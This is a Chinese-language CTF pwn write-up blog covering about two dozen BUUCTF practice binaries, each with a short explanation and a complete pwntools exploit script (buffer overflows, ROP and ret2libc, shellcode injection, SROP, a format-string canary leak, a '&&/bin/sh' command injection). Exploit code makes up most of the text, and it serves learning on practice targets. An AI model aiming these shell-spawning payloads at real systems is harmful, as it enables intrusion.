Featured image of post CTF-user-pwn 杂题乱写 0x00 版

CTF-user-pwn 杂题乱写 0x00 版

如有错误请指出

BUU CTF 登录之后,题目链接是对的,没有登录就直接跳转搜索了好像。

只有杂鱼才会乱写杂题。

浅水区

可能是窝一辈子都不能企及的高度了。

ciscn_2019_n_1

题目链接

IDA 容易发现某变量等于 11.28125 (即 0x41348000)时就会直接 ak,虽然那个变量不可直接修改,但是我们可以栈溢出啊。

image

v1 到 rbp 是 0x30,v2 到 rbp 是 0x4,那么 v1 到 v2 是小学加减法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 25635
io = remote(host,port)
offset = 0x30 - 0x4
payload = b'A'*offset + p64(0x41348000)     # 11.28125 → 0x41348000

def main():
    io.recvuntil(b"Let's guess the number.\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

pwn1_sctf_2016

题目链接

容易发现有一个后门函数 getflag

然而再考虑栈溢出的时候发现 fgets 只留了 32 的长度读入。

image

然而仔细一看后面看似没什么用的代码,竟然把输入的 I 变成了 you,变量到 ebp 有 60 字节可以用 20 个 I 代替。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28374
io = remote(host,port)
get_flag = 0x8048f0d

payload = b'I'*20 + b'A'*4 + p32(get_flag)

def main():
    # io.recvuntil(b"Tell me something about yourself: ")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

jarvisoj_level2

题目链接

IDA 轻易发现了 system,仔细一看。

d3d78920d973a73295c7873ed6daf03f

hint 里面竟然是 binsh。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28040
io = remote(host,port)
offset = 0x88 + 0x4
binsh = 0x804a024
system = 0x804849e
payload = b'A'*offset  + p32(system) + p32(binsh)

def main():
    io.recvuntil(b"Input:\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

jarvisoj_level2_x64

题目链接

换了 64 位,注意寄存器,没啥区别。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29541
io = remote(host,port)
system = 0x40063e
binsh = 0x600a90
pop_rdi_ret = 0x4006b3
offset = 0x88
payload = b'A'*offset + p64(pop_rdi_ret) + p64(binsh) + p64(system)

def main():
    io.recvuntil(b"Input:\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

ciscn_2019_n_8

题目链接

一看保护开的挺全,吓哭了,看看 IDA。

image

竟然是猜猜偏移,😀,笑嘻了,直接爆破了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28863
io = remote(host,port)
# payload = p32(1) + p32(2) + p32(3) + p32(4) + p32(5) + p32(6) + p32(7) + p32(8) + p32(1) + p32(2) + p32(3) + p32(4) + p32(5) + p32(6) + p32(7) + p32(8)
offset = 0x34

payload = b'A'*offset + p32(17)

def main():
    io.recvuntil("What's your name?\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

bjdctf_2020_babystack

题目链接

看看 IDA 发现 backdoor,板子栈溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29142
io = remote(host,port)
offset = 0x18
backdoor = 0x4006e6
payload = b'A'*offset + p64(backdoor)

def main():
    io.recvuntil(b"[+]Please input the length of your name:\n")
    io.sendline(b"200")
    io.recvuntil(b"[+]What's u name?\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

bjdctf_2020_babystack2

题目链接

image

输入的第一个数不能超过 10,但是它会成为我们第二次输入的长度限制,好麻烦啊。。。

🤔怎么有 unsigned int 强制转换,闹麻了😓

第一次输入 -1 直接绕过了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 26734
io = remote(host,port)
# io = process('./bjdctf_2020_babystack2')
back_door = 0x400726    # backdoor	0000000000400726	
offset = 0x18
payload = b'A'*offset + p64(back_door)

def main():
    io.recvuntil(b"[+]Please input the length of your name:\n")
    io.sendline(b'-1')
    io.recvuntil(b"[+]What's u name?\n")
    io.sendline(payload)
    io.interactive()
    

if __name__ == "__main__":
    main()

get_started_3dsctf_2016

题目链接

什么叫 IDA 里塞这么多东西😰😰😰

哦,又有后门函数。

image

哦,两个参数必须一样才执行,32 位传参直接跟在后面就行。

返回地址填一个 exit。

什么叫偏移值不对😰😰😰。

哦没有旧的 rbp,少四个字节。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 26192
io = remote(host,port)
offset = 0x38   # 没有 pop ebp,不需要加 4 字节覆盖旧栈底
get_flag = 0x80489a0
exit = 0x804e6a0    # 强迫系统刷新缓冲区,把 flag 吐出来
x1 = 814536271
x2 = 425138641
payload = b'A'*offset + p32(get_flag) + p32(exit) + p32(x1) + p32(x2)


def main():
    # io.recvuntil(b"Qual a palavrinha magica?")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

not_the_same_3dsctf_2016

题目链接

依旧打开 IDA 一大坨。

依旧后门函数。

image

大概就是读取 flag.txt 的内容并且存在内存里,点击看看 fl4g 在哪。

image

这是好的,那么我们在找一个 printf 和 一个 exit 就好了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 27933
io = remote(host,port)
# io = process("./not_the_same_3dsctf_2016")
offset = 0x2d
getsecret = 0x80489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x804e660
payload = b'A'*offset + p32(getsecret) + p32(printf) + p32(exit) + p32(flag)

def main():
    # io.recvuntil(b"b0r4 v3r s3 7u 4h o b1ch4o m3m0...")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

jarvisoj_tell_me_something

题目链接

image

打开 ida 不幸地发现栈溢出就要 0x88(没有 ret,cyclic 可查),输入长度卡死 0x100,那么显然是不可以 ret2libc 的。

更难的我不会,先找找后门函数先。

image

可爱的后门函数藏得深了一点点,直接得到 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29933
io = remote(host,port)
# io = process('./guestbook')
offset = 136
good_game = 0x400620    # good_game	0000000000400620	
payload = b'A'*offset + p64(good_game)


def main():
    io.recvuntil(b"Input your message:\n")
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

picoctf_2018_rop chain

题目链接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 25154
io = remote(host,port)
offset = 0x1C
main = 0x804873B
flag = 0x804862B
win_func1 = 0x80485CB
win_func2 = 0x80485D8
win2_a1 = 0xBAAAAAAD     # -1163220307
flag_a1= 0xDEADBAAD     # -559039827
payload_1 = b'A'*offset + p32(win_func1) + p32(main)
payload_2 = b'A'*offset + p32(win_func2) + p32(main) + p32(win2_a1)
payload_3 = b'A'*offset + p32(flag) + p32(0) + p32(flag_a1)

def main():
    io.recvuntil(b"Enter your input> ")
    io.sendline(payload_1)
    io.recvuntil(b"Enter your input> ")
    io.sendline(payload_2)
    io.recvuntil(b"Enter your input> ")
    io.sendline(payload_3)
    io.interactive()

if __name__ == "__main__":
    main()

bjdctf_2020_router

题目链接

一看主函数这么长,细看闹麻了🤣🤣🤣

image

只有 case1 有意义,把输入内容拼接到 dest 后面然后执行 system,但是 dest 是 ping(ASCII 码),没啥影响,后面写上 &&\bin\sh 就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 28878
io = remote(host,port)
# io = process("./bjdctf_2020_router")

def main():
    io.recvuntil(b"Please input u choose:\n")
    io.sendline(b"1")
    io.recvuntil(b"Please input the ip address:\n")
    io.sendline(b"&&/bin/sh")
    io.interactive()

if __name__ == "__main__":
    main()

jarvisoj_test_your_memory

题目链接

挺神秘一道题,我一开始还打算把 s2 拼接到 payload 上,但是突然发现这个题目,它的那个靶机没关缓冲区,导致 I/O 缓冲死锁,即远程程序执行了 puts 等打印操作,但文字卡在全缓冲区里没有发出来,靶机一开始就“卡”住等待输入。

所以我们得不到 s2,必须发送 payload 直接成功。

那么直接查 system 和 binsh 吧。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 26198
io = remote(host, port)
# io = process("./memory")
elf = ELF("./memory")
cat_flag = next(elf.search(b"cat flag"))
system = elf.sym['system']
main_addr = elf.sym['main']

def main():
    print("[+] Found 'cat flag' at:",hex(cat_flag))    
    payload = b'A'*0x17 + p32(system) + p32(main_addr) + p32(cat_flag)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

picoctf_2018_buffer overflow 1

题目链接

依旧水,栈溢出,懒得写题解。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 27607
io = remote(host,port)
# io = process("./Picoctf_2018_buffer_overflow_1")
elf = ELF("./Picoctf_2018_buffer_overflow_1")
win = 0x80485CB
main_addr = elf.sym['main']

def main():
    io.recvuntil(b"Please enter your string: \n")
    payload = b'A'*0x2C + p32(win) + p32(main_addr)
    # gdb.attach(io,"b *0x804865A\nc")
    # pause()
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

picoctf_2018_buffer overflow 2

题目链接

水栈溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 28462
io = remote(host,port)
# io = process("./PicoCTF_2018_buffer_overflow_2")
win = 0x80485CB	
elf = ELF("./PicoCTF_2018_buffer_overflow_2")


def main():
    io.recvuntil(b"Please enter your string: \n")
    payload = b'A'*0x70 + p32(win) + p32(0) + p32(0xDEADBEEF) + p32(0xDEADC0DE)
    io.sendline(payload)
    io.interactive()
    
if __name__ == "__main__":
    main()

wustctf2020_closed

题目链接

没见过的题目,做一下。

image

close(1) 关闭输出流,close(2) 关闭错误流,但是没有关闭输入流(0),所以我们对 shell 发送的东西都可以被收到,包括 cat flag,但是它不能输出。

所以我们 exec 1>&0 “将文件描述符 1 复制/重定向到文件描述符 0 所指向的位置”。

也就是把输出流绑到输入流上。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *

p = remote('node5.buuoj.cn', 27871) 

p.recvuntil(b"What else can you do???\n")

p.sendline(b"exec 1>&0")

p.sendline(b"cat flag")

p.interactive()

[ZJCTF 2019]Login

[ZJCTF 2019]Login

一开始密码和账号都给我们了,也有后门函数,看起来很正常。

看一下 password_checker,发现有 call rax。

image

那么思路就是劫持 rax,让 rax 等于后门函数。

找一下 rax 的源头,发现是 var_18。

image

在输入密码的缓冲区,我们找到了它。

image
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 25629
io = remote(host,port)
# io = process("./login")
backdoor = 0x400E88

def main():
    io.recvuntil(b"Please enter username: ")
    io.sendline(b"admin")
    io.recvuntil(b"Please enter password: ")
    password = b"2jctf_pa5sw0rd" # 14 = 0xE
    # 0x60 - 0x18 - 0xE = 0x3a
    payload = password + b'\x00'*0x3a + p64(backdoor)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

ciscn_2019_s_9

题目链接

没开 NX 保护,像是 shellcode。

然后发现 hint 里面有 jmp esp,那么后面接一个 sub esp,offset,ret 时,esp 自动下移,eip 等于 jmp esp,然后就会执行 sub esp,offset,esp 上移到 shellcode,那么再 jmp esp 一次就好了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 27999
io = remote(host,port)
# io = process("./ciscn_s_9")
elf = ELF("./ciscn_s_9")
# system = elf.sym['system']
hint = 0x8048554

def main():
    io.recvuntil(b"Do you have anything to tell?\n")
    io.recvline()
    shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
    payload = shellcode.ljust(0x24,b"\x00")
    payload += p32(hint) + asm("sub esp,0x28;jmp esp")
    # gdb.attach(io,"b *0x8048550\nc")
    # pause()/
    io.sendline(payload)
    io.interactive()
    # payload = p32(system) + p32(0) + p32(shell)


if __name__ == "__main__":
    main()

jarvisoj_level1

题目链接

此题本是大水题,NX 保护没开,注入 shellcode。

本地很顺利跑通了,但是突然发现,远端竟然不把栈泄露给我们,只有我们输入了什么东西,才会回弹给我们。

这太坏了,显然是远端部署了 I/O 缓冲区,在我们正常输入,没有覆盖 ret 地址的时候,正常 exit(0),正常把结果一次性回显给我们。

那么我们的地址就不能利用了😭😭😭

……吗?🤣

显然我们有两种方法,一是直接撑爆缓冲区,爆破它,强行得到泄露的栈。

1
2
3
4
5
6
payload = b'A' * 0x8c + p32(main_addr)
    payload = payload.ljust(0x100,b'\x00')
    for i in range(170):
        io.send(payload)
        sleep(0.05)
data = io.recv(4500)

这样我们会得到非常非常多的地址:

image

仔细观察,发现由于不可抗力,我们最后一个地址就是不完整的,但是倒数第二个是完整的,而且每个地址之间都只差了 0x10.

那么很好了,我们选择尽可能短的 shellcode,并在 shellcode 前面填入尽可能多的 \x90 (NOP),这样我们就有更多的误差范围内,使返回地址滑到 shellcode 上。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29947
io = remote(host,port)
# io = process("./level1")
elf = ELF("./level1")
main_addr = elf.sym['main']

def main():
    payload = b'A' * 0x8c + p32(main_addr)
    payload = payload.ljust(0x100,b'\x00')
    for i in range(170):
        io.send(payload)
        sleep(0.05)
        
    data = io.recv(4500)
    leak_str = data.split(b"What's this:")[-2][:10]
    leak_stack = int(leak_str, 16) - 0x10
    print("\n[+] Got Leak stack address:", hex(leak_stack))
    shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
    payload = b'\x90'*0x70 + shellcode
    payload = shellcode.ljust(0x8C, b'\x00') + p32(leak_stack)
    payload = payload.ljust(0x100,b'\x00')
    io.send(payload)
    
    io.interactive()

if __name__ == "__main__":
    main()

第二种做法就比较简单,到 bss 段上跑即可。

中水区

可能只有主播这种区才会觉得这里是中水区。

ciscn_2019_en_2

题目链接

开了 NX 保护。

image

主函数告诉你只有操作 1 有意义。

image

加密函数告诉你他会对你异或加密,但是 strlen() 遇到 \0 就截停,可以通过此方法跳过加密。

跳过加密之后就可以泄露 puts 了,ret2libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28676
io = remote(host,port)
# io = process("./ciscn_2019_en_2")
elf = ELF('./ciscn_2019_en_2')
offset = 0x57
pop_rdi_ret = 0x400c83
ret = 0x400c84
pop_rsi_r15_ret = 0x400c81
encrypt_addr = 0x4009a0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload_1 = b'\0' + b'A'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)

def main():
    io.recvuntil(b"Input your choice!\n")
    io.sendline(b"1")
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_1)
    puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    print(hex(puts_addr))   # 0x7f2a1ef599c0
    system_addr = puts_addr - 0x31580
    binsh_addr = puts_addr + 0x1334da
    payload_2 = b'\0' + b'A'*offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr)
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

ciscn_2019_ne_5

题目链接

IDA 打开一看,main 函数一大串,前面有个密码,就是 administrator,无意义。

后面四个操作。

操作 1:

image

给 src 赋值,最长读入长度 128

操作 2:

image

输出 src,逗逗你呀。

操作 3:

image

system,OMO。

操作 4:

image

把 src 粘贴到 dest 上,然后输出 dest,发现 dest 到栈底距离 0x48 = 72,小于128,可以栈溢出。

现在就是去找 /bin/sh,ROPgadget 找一下。

image

其实去 IDA 查一下,发现是 fflush,但是能用。

image
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 25971
io = remote(host,port)
# io = process('./ciscn_2019_ne_5')
offset = 0x4c
system = 0x80484d0
sh = 0x80482ea
main = 0x8048722
payload = b'A'*offset + p32(system) + p32(main) + p32(sh)

def main():
    io.recvuntil(b"Please input admin password:")
    io.sendline(b"administrator")
    io.recvuntil(b"0.Exit\n:")
    io.sendline(b"1")
    io.recvuntil(b"Please input new log info:")
    io.sendline(payload)
    io.recvuntil(b"0.Exit\n:")

    io.sendline(b"4")
    io.interactive()

if __name__ == "__main__":
    main()

铁人三项(第五赛区)_2018_rop

题目链接

一眼丁真,鉴定为春春的 ret2libc 😋

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29549
io = remote(host,port)
# io = process('./2018_rop')
elf = ELF('./2018_rop')
offset = 140
vuln_addr = 0x8048474
write_got = elf.got['write']
write_plt = elf.plt['write']
payload_1 = b'A'*offset + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)


def main():
    io.sendline(payload_1)
    leak_data = io.recvn(4)
    write_addr = u32(leak_data)
    print(hex(write_addr))  # 0xf7e936f0
    libc = write_addr - 0xe56f0
    system = libc + 0x3cd10
    binsh = libc + 0x17b8cf
    payload_2 = b'A'*offset + p32(system) + p32(114514) + p32(binsh)
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

bjdctf_2020_babyrop

题目链接

依旧普普通通 ret2libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28493
io = remote(host,port)
# io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')
offset = 0x28
vuln_addr = 0x40067d
pop_rdi_ret = 0x400733
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload_1 = b'A'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

def main():
    io.recvuntil("Pull up your sword and tell me u story!\n")
    io.sendline(payload_1)
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    # puts_addr = u64(leak_data)
    # # leak_data = io.recvn(8)
    print(hex(puts_addr))   # 0x7fd070fdf690 → libc6_2.23-0ubuntu11_amd64
    libc = puts_addr - 0x6f690
    system = libc + 0x45390
    binsh = libc + 0x18cd57
    payload_2 = b'A'*offset + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(114514)
    io.sendline(payload_2)
    io.interactive()
    

if __name__ == "__main__":
    main()

ciscn_2019_es_7

题目链接

这题长的和 ciscn_2019_s_3 一模一样啊,显然的 SROP。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 29961
io = remote(host,port)
# io = process("./ciscn_2019_es_7")
elf = ELF("./ciscn_2019_es_7")
bss_addr = elf.bss() + 0x500
# pop_rax_execve = 0x4004E2
pop_rax_sigreturn = 0x4004DA
syscall = 0x400517

def main():
    frame1 = SigreturnFrame()
    frame1.rax = constants.SYS_read
    frame1.rdi = 0  # stdin
    frame1.rsi = bss_addr
    frame1.rdx = 0x400
    frame1.rsp = bss_addr 
    frame1.rip = syscall
    payload_1 = b'A'*0x10 + p64(pop_rax_sigreturn) + p64(syscall) + bytes(frame1)
    io.send(payload_1)
    io.recv(0x30)
    sleep(0.1)
    binsh = bss_addr + 0x108
    frame2 = SigreturnFrame()
    frame2.rax = constants.SYS_execve
    frame2.rdi = binsh
    frame2.rsi = 0
    frame2.rdx = 0
    frame2.rip = syscall
    payload_2 = p64(pop_rax_sigreturn) + p64(syscall) + bytes(frame2)
    payload_2 = payload_2.ljust(0x108,b'\x00')
    payload_2 = payload_2 + b"/bin/sh\x00"
    io.send(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

pwn2_sctf_2016

题目链接

我去做了这个题我才知道 buuctf 允许直接下载它的 libc 文件,那我之前在寻找什么,棍木吗。

ret2libc 无需多言。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 27070
io = remote(host,port)
# io = process('./pwn2_sctf_2016')
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./libc-2.23.so')
offset = 0x30
vuln = 0x804852F
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
fmt = next(elf.search(b"%s"))
payload_1 = b'A'*offset + p32(printf_plt) + p32(vuln) + p32(fmt) + p32(printf_got)

def main():
    io.recvuntil(b"How many bytes do you want me to read? ")
    io.sendline(b"-1")
    io.recvuntil(b"bytes of data!\n")
    io.sendline(payload_1)
    io.recvuntil(b"\n")
    leak_data = io.recv(4)
    printf_addr = u32(leak_data)
    print(hex(printf_addr))         # 0xf7e02020
    libc_base = printf_addr - libc.sym['printf']
    system = libc_base + libc.sym['system']
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    payload_2 = b'A'*offset + p32(system) + p32(vuln) + p32(binsh)
    io.recvuntil(b"How many bytes do you want me to read? ")
    io.sendline(b"-1")
    io.recvuntil(b"bytes of data!\n")
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

ez_pz_hackover_2016

题目链接

这道题没开 NX 保护,思路挺简单,就是 shellcode 注入,但是还是挺考验动态调试的。

chall 函数:

image

大概意思是先给你 s 的地址,然后让你输入一个字符串,并把这个字符串结尾的换行去掉,如果这个字符串是 crashme,就进入 vuln。

我们也不用搞什么换行换 \0 的操作,直接上 \0 截断就行。

然后就是动态调试找偏移:

e0db18b9248dce042e69e0e58e3cfc8f

(发送了“crashme\x00meowmeow")

可以看到,从 ret addr = 0xfffb687c 到 meow 的第一个 m 的位置 0xfffb686A 的偏移是 0x12。

(m 的 ascii 码是 0x6d,在 0x656d0065 刚好排第 3 位,前面是 \x00)

c21549bb4c5937ca2b0e18c62271c03b

(发送了“crashme\x00AAAAAAAAAAAAAAAAAAAAAAAAAA”)

发现 ret_addr = 0xffda3b20 到溢出的 s 的地址 leak_stack = 0xffda3b3c 的偏移是 0x1c。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 27275
io = remote(host,port)
# io = process("./ez_pz_hackover_2016")
elf = ELF("./ez_pz_hackover_2016")
libc = ELF("./libc-2.23.so")
main_addr = elf.sym['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

def main():
    # gdb.attach(io,"b *0x8048600")
    io.recvuntil(b"Yippie, lets crash: ")
    leak_addr = io.recvline().strip(b'\n')
    leak_stack = int(leak_addr,16)
    print("\n[+]Leak stack:",hex(leak_stack))
    io.recvuntil(b"Whats your name?\n")
    io.recvuntil(b"> ")
    ret_addr = leak_stack - 0x1c
    offset = 0x7c - 0x6A
    shellcode = asm(shellcraft.sh())
    payload = b"crashme\x00" + b'A'*offset + p32(ret_addr) + shellcode
    io.sendline(payload)
    # pause()
    io.interactive()

if __name__ == "__main__":
    main()

bjdctf_2020_babyrop2

题目链接

开了 canary 保护,但是 fmt 漏洞。

image

简单扫一下,发现偏移是 6,然后第 7 个有点像 canary,gdb 一下发现就是。

f0c1d1c8bbbae9e679e199c2afd1d17b

然后直接 ret2libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 27342
io = remote(host,port)
# io = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")
libc = ELF("./libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
pop_rdi_ret = 0x400993
ret = 0x400994

def main():
    io.recvuntil(b"I'll give u some gift to help u!\n")
    payload_1 = b"AA%7$p"   # 7 11
    io.send(payload_1)
    io.recvuntil(b"AA")
    leak_data = io.recvline().strip(b'\n')
    leak_canary = int(leak_data,16)
    print("\n[+] Leak Canary:",hex(leak_canary))
    io.recvuntil(b"Pull up your sword and tell me u story!\n")
    payload_2 = b'A'*0x18 + p64(leak_canary) + b"B"*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    # payload_2 = b'A'*8 + b'B'*8 + b'C'*8
    # gdb.attach(io,"b *0x4008D8\n c")
    # pause()
    io.send(payload_2)
    leak_data = io.recvline().strip(b'\n')
    leak_data = leak_data.ljust(8,b'\x00')
    puts_addr = u64(leak_data)
    print("\n[+] Leak puts:",hex(puts_addr))
    libc_base = puts_addr - libc.sym['puts']
    system = libc_base + libc.sym['system']
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    print("\n[+] Leak libc base:",hex(libc_base))
    print("\n[+] Leak system:",hex(system))
    print("\n[+] Leak binsh:",hex(binsh))
    io.recvuntil(b"I'll give u some gift to help u!\n")
    io.send(payload_1)
    io.recvuntil(b"Pull up your sword and tell me u story!\n")
    payload_3 = b'A'*0x18 + p64(leak_canary) + b"B"*8 + p64(ret) +  p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0)
    io.sendline(payload_3)
    io.interactive()

if __name__ == "__main__":
    main()

jarvisoj_level4

题目链接

这个题何意味啊,之前做个 level3,输入长度限制是 0x200,这个是 0x100,我还以为要栈迁移呢,找了找发现 bss 段小的可怜,仔细数了一下溢出,刚刚好能走 ret2libc,和 level3 一模一样,平凡。

呃呃。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# written by Sonnety
